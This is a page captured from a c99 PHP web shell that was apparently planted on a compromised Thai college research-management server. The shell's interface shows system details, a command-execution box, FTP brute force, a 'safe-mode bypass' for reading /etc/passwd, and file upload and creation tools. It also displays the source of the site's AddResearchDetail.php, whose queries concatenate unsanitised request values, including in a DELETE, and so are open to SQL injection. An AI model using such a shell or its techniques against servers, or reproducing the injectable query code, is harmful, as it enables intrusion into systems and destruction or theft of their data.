!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/Research_depart/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     AddResearchDetail.php (26.48 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

    session_start
();
    
    
/**  Define Validate Access  */
    
define'_VALID_ACCESS');

    
/**  Check Session User Login  */
    
if( !session_is_registered("valid_user") && !session_is_registered("Priority") ) {
        echo 
"<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-874\" />";
        echo 
"<p style=padding-top:115px><p align=center><br /><font color=red><strong>กรุณาทำการ Login ก่อน</strong></font></p></p>";
        echo 
"<meta http-equiv=\"refresh\" content=\"1; URL=../login.php\" />";
        exit();
    } 
    else {
        
/**  Configuration  */
        
require_once( "../configuration.php" );
        require_once( 
$_Config_absolute_path "/includes/framework.php" );
        require_once( 
"../includes/Function.php" );
        require_once( 
"../includes/cURLRes.php" );
        
/**  Create Database Object  */
        
$dbObj = new DBConn;

        
//=== SESSION
        
$Username $valid_user
        
        
        
/**  Config Table for This Page  */
        
$myTable1 "personal_tb";
        
$myTable2 "research_tb";
        
$myTable3 =" researchtype_tb"
        
$myTable4 ="researchpublic_tb"
        
$myTable5 "research_char_tb";
        
$myTable6 ="research_file_tb"
        
$myTable7="research_public_tb"
        
$myTable8 ="research_success_tb"
        
$myTable9 ="researchtracking_tb"
        
        
$myTable2PK "Research_code";
        
        
/**  Table  -->  personal_tb  */
        
          
$sql " SELECT * FROM  $myTable2   WHERE   Research_code ='$Research_code' ";
          
$result1 mysql_query($sql) or die("Error".mysql_error());
          
$rss1mysql_fetch_array($result1);
             
        
$sql " SELECT * FROM   $myTable6   WHERE  Research_code ='$Research_code' ";
         
$result2 mysql_query($sql) or die("Error".mysql_error());
          
$rss2mysql_fetch_array($result2);
        
        
$sql " SELECT * FROM   $myTable7  WHERE  Research_code ='$Research_code' ";
        
$result3 mysql_query($sql) or die("Error".mysql_error());
         
$rss3mysql_fetch_array($result3);
            
        
/**  โฟลเดอร์ไฟล์เอกสาร */
        
$doc_path $_Config_live_site."/Research_pic";            
    
    
                            
/**  Botton Name Action */
        
$action $_REQUEST['action'];
        
$id $_REQUEST['id'];
    
        if( isset(
$action) && !empty($action) ) {
            switch(
$action) {
                case 
"Delete" :
                    
$num count($id);
                    for( 
$i=0$i<$num$i++ ){

                        
$qrySel " SELECT *  FROM    research_dissemination    Where    pubId ='$id[$i]' ";
                        
$resultSel $dbObj->execQuery($qrySel);
                        
$rsSel $dbObj->fetchObject($resultSel);
                            
                        
$qryDel " DELETE  FROM   research_dissemination    Where    pubId='$id[$i]'   ";
                        
$resultDel $dbObj->runQuery($qryDel);
                        
$dbObj->freeresult($resultDel);
                        
                    }
                break;
            } 
# switch
        
# if
                            
                            
          
        
    
# else
 
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-874" />
<link href="../css/default.css" rel="stylesheet" type="text/css" />
<script language="javascript" src="../js/utilities.js"></script>
<title>ข้อมูลงานวิจัย </title>
</head>


<body topmargin="0" rightmargin="0" bottommargin="0" leftmargin="0">
<?php
    
include("../templates/incHeader.php");
?>
<table width="1004" border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td width="206" align="left" valign="top" style="padding:10px 0px 0px 5px"><?php  include("./_incMainMenu.php");?></td>
    <td width="798" height="440" align="center" valign="top" style="padding:10px 0px 5px 10px"><fieldset>
     <table width="772" border="0" cellspacing="0" cellpadding="0">
      <form action="<?=$PHP_SELF;?>?Research_code=<?=$Research_code;?>" method="post" enctype="multipart/form-data" name="form1" id="form1" onsubmit="return checkData();">
      <tr>
        <td width="772" height="5"></td>
      </tr>
      <tr>
        <td height="30" background="../images/background/bg-head-topic-w780.gif" class="PADDING-LEFT-10"><strong><a href="index.php">หน้าหลัก</a></strong> <strong>&raquo; <a href="ResDetail.php?Research_code=<?=$Research_code;?>&amp;Year_prop=<?=$Year_prop;?>">ข้อมูลผลงาน </a> &raquo; <a href="AddResearchType.php?Research_code=<?=$Research_code;?>&amp;Year_prop=<?=$Year_prop;?>">บันทึกผู้ทำผลงาน</a> &raquo; <a href="FrmResearch.php?Research_code=<?=$Research_code;?>">แก้ไขผลงาน</a> &raquo; <span class="NOTE">ข้อมูลการเเผยแพร่ผลงาน</span></strong></td>
        </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td><span class="PADDING-TOP-10"><img src="../images/icons/arrow-circle-225-left.png" width="16" height="16" border="0" align="absmiddle" /> <a href="javascript:;" onclick="window.history.back();"><strong>&lsaquo; ย้อนกลับ</strong></a></span></td>
      </tr>
      <tr>
        <td>&nbsp;</td>
      </tr>
      <tr>
        <td align="center"><table width="766" border="0" cellpadding="1" cellspacing="1" bgcolor="#E5E5E5" class="BORDER-GREY-LIGHT">
          <tr bordercolor="#CCCCCC" bgcolor="#ECF5FF">
            <td height="100%" colspan="3" align="left" nowrap="nowrap" bordercolor="#CCCCCC" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">หน่วยงาน : 
              <?php
                                 $sql 
"Select * From  college    Where  collegeStatus ='1' ";
                                
$result2 mysql_query($sql) or die("Error".mysql_error());
                                
$rss4 mysql_fetch_array($result2);
                                 echo 
$rss4["collegeName"];
                            
?>
              </td>
          </tr>
          <tr>
            <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ประเภทผลงาน:
              <?php
                                   $strSQL 
" SELECT * FROM    $myTable3  Where  ReTyId='$rss1[ReTyId]'      ";
                                
$result4 mysql_query($strSQL);
                                 
$rs4mysql_fetch_array($result4);
                                 echo  
$rs4['ReTyname']; ?>
              </a></td>
            </tr>
          <tr>
            <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ชื่อโครงการผลงาน:</a><a><?php echo htmlspecialchars_decodenl2br$rss1['Research_name'] ) ); ?></a></td>
            </tr>
          <tr>
            <td width="20%" height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ผู้ทำผลงาน</td>
            <td width="1%" bgcolor="#FFFFFF">&nbsp;</td>
            <td width="79%" align="left" bgcolor="#FFFFFF"><table width="81%" border="0" align="left" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
              <?php
              $query 
" SELECT *  FROM  research_char_tb  WHERE   Research_code='$Research_code'  ";
              
$result1 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;  
                  
?>
              <?php
                $no 
1+($display-1)*$limit;
                while( 
$rss $dbObj->fetchArray($result1) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
              <tr bgcolor="<?=$bgColor;?>">
                <td width="6%" height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                <td width="68%" align="left" class="PADDING-LEFT-5"><?php
                    $Teacher_code
=  $rss['Teacher_code'] ;
                    
$sql11 " Select *, prefixName as First_name FROM personal_tb LEFT JOIN prefix ON personal_tb.First_name = prefix.prefixId Where Teacher_code='$Teacher_code' ";
                    
$result11 mysql_query($sql11);
                    
$rs11 mysql_fetch_array($result11); 
                        echo
"$rs11[First_name]&nbsp;$rs11[Teacher_name]&nbsp; $rs11[Teacher_lastname]";
                 
?>
                  </font></a></td>
                <td width="26%" align="left" class="PADDING-LEFT-5"><font color="#000000" size="2" face="Tahoma"><? echo  $rss[R_position]?></font></td>
                </tr>
              <?php
                    
//$no++;
                
# while
              
?>
              </table></td>
            </tr>
          <tr>
            <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF">
              <input name="Research_type" type="radio"  <?php if (!(strcmp("$rss1[Research_type]","1"))) {echo "checked";} ?> value="1"   />
              เป็นผลงานที่อยู่ในแผนส่งเสริมการนำเสนอผลงานวิชาการของวิทยาลัย 
              
              </td>
            </tr>
          <tr>
            <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><input name="Research_type" type="radio"  <?php if (!(strcmp("$rss1[Research_type]","2"))) {echo "checked";} ?> value="2"  />
              ได้รับการสนับสนุนงบประมาณจากวิทยาลัยและ/หรือหน่วยงานอื่นๆ  ในการไปนำเสนอผลงานวิชาการ</td>
            </tr>
          <tr>
            <td height="22" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">กลุ่มสาขาวิชาการ</td>
            <td bgcolor="#FFFFFF">:</td>
            <td align="left" bgcolor="#FFFFFF"><font color="#0000FF" size="2" face="Tahoma"><? echo $rss1['Branch'] ; ?>
              </font></td>
            </tr>
          <tr>
            <td colspan="3" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
          </tr>
          <tr>
            <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><table width="100%" border="0" align="left" cellpadding="1" cellspacing="1" bgcolor="#FFFFFF" style="background-color:#eeeeee; border:0px solid gray">
              <tr bgcolor="#F0F0F0">
                <td height="25" colspan="6" align="right" bordercolor="#999966" bgcolor="#FFFFFF" class="PADDING-LEFT-10" " ><span style="padding-bottom:5px">
                  <input type="submit" name="action" id="action" value="Delete" class="TEXT-CLIMSON10 CURSOR-HAND" onclick="return confirmDelete(this.form);" />
                  </span></td>
                </tr>
              <tr bgcolor="#F0F0F0">
                <td height="20" colspan="2" align="left"class="PADDING-LEFT-10" ><a href="javascript:;" onclick="NewWindow('addPublicizing.php?Research_code=<?=$Research_code?>&Feature=3','Detail','600','300','yes')"> <img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a>&nbsp;&nbsp;การเผยแพร่งานวิจัยการประชุม</td>
                </tr>
              <?php
              $query 
" SELECT *  FROM  research_dissemination  WHERE Research_code='$Research_code'   and  Feature='3'   ";
              
$result1 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;  
                  
?>
              <?php
                $no 
1+($display-1)*$limit;
                while( 
$rss $dbObj->fetchArray($result1) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
              <tr bgcolor="<?=$bgColor;?>">
                <td width="3%" height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                <td width="79%" align="left" class="PADDING-LEFT-5"><?php
                                 $sql 
"Select * From  researchfeature    Where  FeId  ='$rss[Quality]'   ";
                                
$result4 mysql_query($sql) or die("Error".mysql_error());
                                
$rss5 mysql_fetch_array($result4);
                                 echo 
$rss5["FeatureName"];
                            
?>                              &nbsp;ชื่อการประชุม :<?=$rss['MeetingName'];?>&nbsp;หน่วยงานที่จัด:<?=$rss['Agencies'];?></a> ดาว์โหลดเอกสาร: <?php if( $rss['Filetex'] != "" ) { ?>
                  <a href="<?=$doc_path ;?>/<?=$rss['Filetex'];?>" target="_parent"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rss['Filetex'];?> " width="16" height="16" border="0" /></a>
                  <?php } else { ?>
                  <img src="../images/icons/download_off.png" width="16" height="16" />
                  <?php ?></td>
                <td width="6%" align="center" class="PADDING-LEFT-5"><?=$rss['Results']?></td>
                <td width="4%" align="center" class="PADDING-LEFT-5"><a href="javascript:;" onclick="NewWindow('EditPublicizing.php?pubId=<?=$rss['pubId'];?>&Feature=<?=$rss['Feature'];?>','Detail','600','300','yes')"><img src="../images/icons/icon-edit.gif" alt="แก้ไขข้อมูล" width="16" height="16" border="0" /></a></td>
                <td width="3%" align="center" class="PADDING-LEFT-5">
                  <input type="checkbox" name="id[]" value="<?=$rss['pubId'];?>" onclick="highlightRow(this);" title=" ลบข้อมูล <?php echo $rss['pubId']; ?> " />
                  </span></td>
                <td width="5%" align="center" class="PADDING-LEFT-5"><? 
            
if($countnum 0){
                if(isset(
$rss['pubId']) && checkrsResearchCurl($rss['pubId'])) echo "<img src=\"../picture/circle_green.gif\" width=\"16\" height=\"16\" border=\"0\" />";
                else echo 
"<img src=\"../picture/circle_yellow.gif\" width=\"16\" height=\"16\" border=\"0\" />";
            }
            else echo 
"<img src=\"../picture/circle_red.gif\" width=\"16\" height=\"16\" border=\"0\" />";
        
?></td>
                <?php
                    $no
++;
                            } 
# while
                         
?>
                </tr>
              <tr bgcolor="<?=$bgColor;?>">
                <td height="20" colspan="2" align="left"class="PADDING-LEFT-10" ><a href="javascript:;" onclick="NewWindow('addGospel.php?Research_code=<?=$Research_code?>&Feature=1','Detail','700','450','yes')"><img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp;การเผยแพร่บทความวิจัย</font></font></td>
                <td align="left" class="PADDING-LEFT-5">&nbsp;</td>
                <td align="center" class="PADDING-LEFT-5">&nbsp;</td>
                <td align="center" class="PADDING-LEFT-5">&nbsp;</td>
                <td align="center" class="PADDING-LEFT-5">&nbsp;</td>
                </tr>
              <?php
              $query 
" SELECT *  FROM  research_dissemination  WHERE Research_code='$Research_code'    and  Feature='1'    ";
              
$result2 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;  
                  
?>
              <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs2 $dbObj->fetchArray($result2) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
              <tr bgcolor="<?=$bgColor;?>">
                <td height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                <td align="left" class="PADDING-LEFT-5"><?php
                                 $sql 
"Select * From  researchfeature    Where  FeId  ='$rs2[Warsan]'   ";
                                
$result4 mysql_query($sql) or die("Error".mysql_error());
                                
$rss5 mysql_fetch_array($result4);
                                 echo 
$rss5["FeatureName"];
                            
?>                              &nbsp;
                  ฐานข้อมูล:<?=$rs2['DatabaseName'];?>&nbsp; ชื่อวารสาร:<?=$rs2['JournalName'];?>
                  ดาว์โหลดเอกสาร:
                  <?php if( $rs2['Filetex'] != "" ) { ?>
                  <a href="<?=$doc_path ;?>/<?=$rs2['Filetex'];?>" target="_parent"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rs2['Filetex'];?> " width="16" height="16" border="0" /></a>
                  <?php } else { ?>
                  <img src="../images/icons/download_off.png" width="16" height="16" />
                  <?php ?></td>
                <td align="center" class="PADDING-LEFT-5"><?=$rs2['Results']?></td>
                <td align="center" class="PADDING-LEFT-5"><a href="javascript:;" onclick="NewWindow('EditGospel.php?Feature=<?=$rs2['Feature'];?>&pubId=<?=$rs2['pubId'];?>','Detail','700','450','yes')"><img src="../images/icons/icon-edit.gif" alt="แก้ไขข้อมูล" width="16" height="16" border="0" /></a></font></td>
                <td align="center" class="PADDING-LEFT-5">
                  <input type="checkbox" name="id[]" value="<?=$rs2['pubId'];?>" onclick="highlightRow(this);" title=" ลบข้อมูล<?=$rs2['pubId'];?> " />
                  </td>
                <td align="center" class="PADDING-LEFT-5"><? 
            
if($countnum 0){
                if(isset(
$Research_code) && checkrsResearchCurl($Research_code)) echo "<img src=\"../picture/circle_green.gif\" width=\"16\" height=\"16\" border=\"0\" />";
                else echo 
"<img src=\"../picture/circle_yellow.gif\" width=\"16\" height=\"16\" border=\"0\" />";
            }
            else echo 
"<img src=\"../picture/circle_red.gif\" width=\"16\" height=\"16\" border=\"0\" />";
        
?></td>
                <?php
                    $no
++;
                            } 
# while
                         
?>                          </tr>
              <tr bgcolor="<?=$bgColor;?>">
                <td height="20" colspan="2" align="left" class="PADDING-LEFT-10"><a href="javascript:;" onclick="NewWindow('addGospel.php?Research_code=<?=$Research_code?>&Feature=2','Detail','700','450','yes')"><img src="../picture/new.gif" alt="เพิ่มรายการเอกสาร" width="16" height="16" border="0" /></a></font><font color="#000000">&nbsp;&nbsp;การเผยแพร่บทความวิชาการ</font></font></span></td>
                <td align="center" class="PADDING-LEFT-5">&nbsp;</td>
                <td align="center" class="PADDING-LEFT-5">&nbsp;</td>
                <td align="center" class="PADDING-LEFT-5">&nbsp;</td>
                <td align="center" class="PADDING-LEFT-5">&nbsp;</td>
                </tr>
              <?php
              $query 
" SELECT *  FROM  research_dissemination  WHERE Research_code='$Research_code'    and  Feature='2'   ";
              
$result4 $dbObj->execQuery($query);
               
$numrows $dbObj->_numrows;  
                  
?>
              <?php
                $no 
1+($display-1)*$limit;
                while( 
$rs4 $dbObj->fetchArray($result4) ) { 
                    
$bgColor = ( $bgColor == "#FFFFFF" ) ? "#F9FBFB" "#FFFFFF";
              
?>
              <tr bgcolor="<?=$bgColor;?>">
                <td height="20" align="right"><img src="../images/icons/linesub.gif" width="16" height="16" border="0" align="absmiddle" /></td>
                <td align="left" class="PADDING-LEFT-5"><?php
                                 $sql 
"Select * From  researchfeature    Where  FeId  ='$rs4[Warsan]'   ";
                                
$result4 mysql_query($sql) or die("Error".mysql_error());
                                
$rss5 mysql_fetch_array($result4);
                                 echo 
$rss5["FeatureName"];
                            
?>                              &nbsp;
                  ฐานข้อมูล:
                  <?=$rs4['DatabaseName'];?>
                  &nbsp; ชื่อวารสาร:
                  <?=$rs4['JournalName'];?>
                  ดาว์โหลดเอกสาร:
                  <?php if( $rs4['Filetex'] != "" ) { ?>
                  <a href="<?=$doc_path ;?>/<?=$rs4['Filetex'];?>" target="_parent"><img src="../images/icons/download.png" alt=" ดาวน์โหลดไฟล์ <?=$rs4['Filetex'];?> " width="16" height="16" border="0" /></a>
                  <?php } else { ?>
                  <img src="../images/icons/download_off.png" width="16" height="16" />
                  <?php ?></td>
                <td align="center" class="PADDING-LEFT-5"><?=$rs4['Results']?></td>
                <td align="center" class="PADDING-LEFT-5"><a href="javascript:;" onclick="NewWindow('EditGospel.php?Feature=<?=$rs4['Feature'];?>&pubId=<?=$rs4['pubId'];?>','Detail','700','450','yes')"><img src="../images/icons/icon-edit.gif" alt="แก้ไขข้อมูล" width="16" height="16" border="0" /></a></font></td>
                <td align="center" class="PADDING-LEFT-5">
                  <input type="checkbox" name="id[]" value="<?=$rs4['pubId'];?>" onclick="highlightRow(this);" title=" ลบข้อมูล <?=$rs4['pubId'];?> " />
                  </span></a></font></strong></td>
                <td align="center" class="PADDING-LEFT-5"><? 
            
if($countnum 0){
                if(isset(
$Research_code) && checkrsResearchCurl($Research_code)) echo "<img src=\"../picture/circle_green.gif\" width=\"16\" height=\"16\" border=\"0\" />";
                else echo 
"<img src=\"../picture/circle_yellow.gif\" width=\"16\" height=\"16\" border=\"0\" />";
            }
            else echo 
"<img src=\"../picture/circle_red.gif\" width=\"16\" height=\"16\" border=\"0\" />";
        
?></td>
                <?php
                    $no
++;
                            } 
# while
                         
?>  
                </tr>
              
              </table></td>
            </tr>
          <tr>
            <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10"><?php
                  
/*  $sql = " SELECT * FROM   research_success_tb rst, project_plan pp   WHERE  rst.Research_code='$Research_code'  and  pp.proId= rst.proId   ";
                     $result4 = mysql_query($sql) or die("Error".mysql_error());
                     $rs4= mysql_fetch_array($result4);
                    */    
?></td>
            </tr>
          <tr>
            <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp;
              <label>
                <input name="outreacId" type="checkbox" id="outreacId" <?php if (!strcmp("$rs4[outreacId]","Y") ) {echo "checked";} ?> value="Y" />
                </label>
              บูรณาการกับโครงการบริการวิชาการ</td>
            </tr>
          <tr>
            <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input name="outreacId" type="checkbox" id="outreacId" <?php if (!strcmp("$rs4[outSouse]","Y") ) {echo "checked";} ?> value="Y" />
              ความร่วมมืองานวิจัยกับบุคคลภายนอก </td>
            </tr>
          <tr>
            <td colspan="3" align="left" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
            </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีปฏิทิน </a></td>
            <td bgcolor="#FFFFFF">:</td>
            <td align="left" bgcolor="#FFFFFF"><? echo $rss1['Year_prop']; ?></td>
            </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีการศึกษา</td>
            <td bgcolor="#FFFFFF">:</td>
            <td align="left" bgcolor="#FFFFFF"><? echo $rss1['academic_year_finish']; ?></td>
            </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">ปีงบประมาณ</td>
            <td bgcolor="#FFFFFF">:</td>
            <td align="left" bgcolor="#FFFFFF"><? echo $rss1['fiscal_year_finish']; ?></a></td>
            </tr>
          <tr>
            <td height="24" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วันที่เริ่ม</td>
            <td bgcolor="#FFFFFF">:</td>
            <td align="left" bgcolor="#FFFFFF"><?php  
                $sday 
=  $rss1['Year_start'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?></a></td>
            </tr>
          <tr>
            <td height="24" align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">วันที่แล้วเสร็จ</td>
            <td bgcolor="#FFFFFF">:</td>
            <td align="left" bgcolor="#FFFFFF"><?php  
                $sday 
$rss1['Year_finish'];
                
$yearthai explode"-"$sday );
                
$day intval$yearthai[2] );
                
$month intval$yearthai[1] );
                
$year intval$yearthai[0] );     
                
$m getThaiSubMonth$month );
                echo 
$day ." "$m ." "$year;
            
?>
              </a></td>
            </tr>
          <tr>
            <td align="right" valign="top" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">แหล่งเงินทุน</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF"><table width="98%" border="0" cellspacing="1" cellpadding="1">
              <tr>
                <td width="21%" align="left"><input name="Fund_resourceIn" type="checkbox" id="Fund_resourceIn" <?php if (!strcmp("$rss1[Fund_resourceIn]","ภายใน") ) {echo "checked";} ?>  value="ภายใน" <?php if( $_GET['Fund_resourceIn'] == "ภายใน" ) echo 'checked'?> onclick="checkAssign1(this,form1.FundIn)" /> ภายใน</td>
                <td width="79%" align="left">จำนวนเงิน
                  <input name="Resource_des3" type="text" id="Resource_des3" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo  number_format($rss1['FundIn'],2,'.',',');?>" size="10" />
                  บาท</td>
                </tr>
              <tr>
                <td align="left"><input name="Fund_resourceOut" type="checkbox" id="Fund_resourceOut"  <?php if (!strcmp("$rss1[Fund_resourceOut]","ภายนอก") ) {echo "checked";} ?> value="ภายนอก" <?php if( $_GET['Fund_resourceOut'] == "ภายนอก" ) echo 'checked'?> onclick="checkAssign1(this,form1.FundOut ,form1.Resource_des )" />ภายนอก</td>
                <td align="left">จำนวนเงิน
                  <input name="Resource_des2" type="text" id="Resource_des2" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo  number_format($rss1['FundOut'],2,'.',',');?>" size="10" />
                  บาท ระบุ</a></a>
                  <input name="Resource_des" type="text" id="Resource_des" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo $rss1['Resource_des'];?>" size="30" /></td>
                </tr>
              <tr>
                <td align="left"><span class="TEXT-DARK-BLUE10"> รวมจำนวนเงินทุน</a></td>
                <td align="left"><input name="Resource_des4" type="text" id="Resource_des4" style="BORDER-RIGHT: 0px; BORDER-TOP: 0px; BORDER-LEFT: 0px; BORDER-BOTTOM: black 1px dashed" value="<? echo  number_format($rss1['FundUse'],2,'.',',');?>" size="10" />
                  บาท</td>
                </tr>
              </table></td>
            </tr>
          <tr>
            <td align="right" bgcolor="#FFFFFF" class="TEXT-DARK-BLUE10">&nbsp;</td>
            <td bgcolor="#FFFFFF">&nbsp;</td>
            <td align="left" bgcolor="#FFFFFF">&nbsp;</td>
            </tr>
          </table></td>
      </tr>
      <tr>
        <td>หมายเหตุ : <br />
&nbsp;&nbsp;&nbsp; <img src="../picture/circle_green.gif" width="16" height="16" border="0"/>&nbsp;&nbsp;มีการบันทึกข้อมูล ที่หน่วยงานและส่วนกลาง<br />
<br />
&nbsp;&nbsp;&nbsp; <img src="../picture/circle_yellow.gif" width="16" height="16" border="0"/>&nbsp;&nbsp;มีการบันทึกข้อมูล ที่หน่วยงานแต่ไม่ได้บันทึกที่ส่านกลาง<br />
<br />
&nbsp;&nbsp;&nbsp; <img src="../picture/circle_red.gif" width="16" height="16" border="0"/>&nbsp;&nbsp;ไม่มีการบันทึกข้อมูล ที่หน่วยงานและส่วนกลาง</td>
      </tr></form>
    </table>
   </fieldset></td>
  </tr>
</table>
<?php include("../templates/incFooter.php"); ?>
</body>
</html>
<?php
    
/**  Free Resource */
    
$dbObj->freeresult($result0);
    
    
/**  Close the Database  */
    
$dbObj->disconn();
    
    
/**  Unset Class  */
    
unset($dbObj);
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0149 ]--